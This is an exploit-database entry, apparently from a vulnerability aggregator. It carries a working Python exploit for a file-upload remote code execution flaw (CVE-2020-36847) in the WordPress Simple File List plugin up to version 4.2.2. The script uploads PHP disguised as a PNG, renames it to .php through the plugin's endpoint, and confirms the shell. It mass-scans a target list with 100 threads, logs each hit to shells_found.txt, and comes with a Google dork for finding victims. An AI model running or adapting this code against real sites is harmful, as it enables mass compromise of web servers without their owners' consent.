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📄 WordPress Simple File List 4.2.2 Shell Upload

🗓️ 22 Jul 2025 00:00:00Reported by Md Amanat UllahType 
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Exploits remote code execution in WordPress Simple File List up to version 4.2.2 via file upload.

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# Exploit Title: Simple File List WordPress Plugin 4.2.2 - File Upload to RCE
    # Google Dork: inurl:/wp-content/plugins/simple-file-list/
    # Date: 2025-07-15
    # Exploit Author: Md Amanat Ullah (xSwads)
    # Vendor Homepage: https://wordpress.org/plugins/simple-file-list/
    # Software Link:
    https://downloads.wordpress.org/plugin/simple-file-list.4.2.2.zip
    # Version: <= 4.2.2
    # Tested on: Ubuntu 22.04
    # CVE: CVE-2020-36847
    
    #!/usr/bin/env python3
    import requests
    import sys, os
    from concurrent.futures import ThreadPoolExecutor, as_completed
    from urllib.parse import urljoin
    from colorama import Fore, init
    
    init(autoreset=True)
    
    HEADERS = {'User-Agent': 'Mozilla/5.0'}
    PHP_PAYLOAD = "<?php echo 'Vuln!!!'; ?>"
    UPLOAD_PATH = "wp-content/plugins/simple-file-list/ee-upload-engine.php"
    RENAME_PATH = "wp-content/plugins/simple-file-list/ee-file-engine.php"
    UPLOAD_FOLDER = "wp-content/uploads/simple-file-list/"
    
    def FilterURLS(site):
        site = site.strip()
        if not site.startswith(('http://', 'https://')):
            site = 'http://' + site
        if not site.endswith('/'):
            site += '/'
        return site
    
    def upload_payload(base):
        upload_url = urljoin(base, UPLOAD_PATH)
        try:
            files = {'file': ('pwn.png', PHP_PAYLOAD, 'image/png')}
            r = requests.post(upload_url, files=files, headers=HEADERS, timeout=10, verify=False)
            r.raise_for_status()
            result = r.json()
            return result.get('file')
        except Exception:
            return None
    
    def rename_payload(base, filename):
        rename_url = urljoin(base, RENAME_PATH)
        try:
            new_name = filename[:-4] + '.php'
            data = {'oldFile': filename, 'newFile': new_name}
            r = requests.post(rename_url, data=data, headers=HEADERS, timeout=10, verify=False)
            r.raise_for_status()
            result = r.json()
            return result.get('newFile')
        except Exception:
            return None
    
    def exploit(site):
        base = FilterURLS(site)
        try:
            filename = upload_payload(base)
            if not filename:
                print(Fore.RED + f"[Failed] - {site}")
                return
    
            newfile = rename_payload(base, filename)
            if not newfile:
                print(Fore.RED + f"[Failed] - {site}")
                return
    
            shell_url = urljoin(base, UPLOAD_FOLDER + newfile)
            r = requests.get(shell_url, headers=HEADERS, timeout=10, verify=False)
            if r.status_code == 200:
                print(Fore.GREEN + f"[Exploited] - {shell_url}")
                with open("shells_found.txt", "a") as f:
                    f.write(shell_url + "\n")
            else:
                print(Fore.RED + f"[Failed] - {site}")
    
        except Exception:
            print(Fore.RED + f"[Failed] - {site}")
    
    def main():
        if len(sys.argv) != 2:
            print(f"Usage: {sys.argv[0]} list.txt")
            sys.exit(1)
    
        targets_file = sys.argv[1]
        if not os.path.isfile(targets_file):
            print(f"File {targets_file} not found.")
            sys.exit(1)
    
        with open(targets_file) as f:
            targets = [line.strip() for line in f if line.strip()]
    
        with ThreadPoolExecutor(max_workers=100) as executor:
            futures = [executor.submit(exploit, target) for target in targets]
            for _ in as_completed(futures):
                pass
    
    if __name__ == "__main__":
        requests.packages.urllib3.disable_warnings()
        main()

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22 Jul 2025 00:00Current
7.5High risk
Vulners AI Score7.5
CVSS 3.19.8
EPSS0.33343
SSVC
161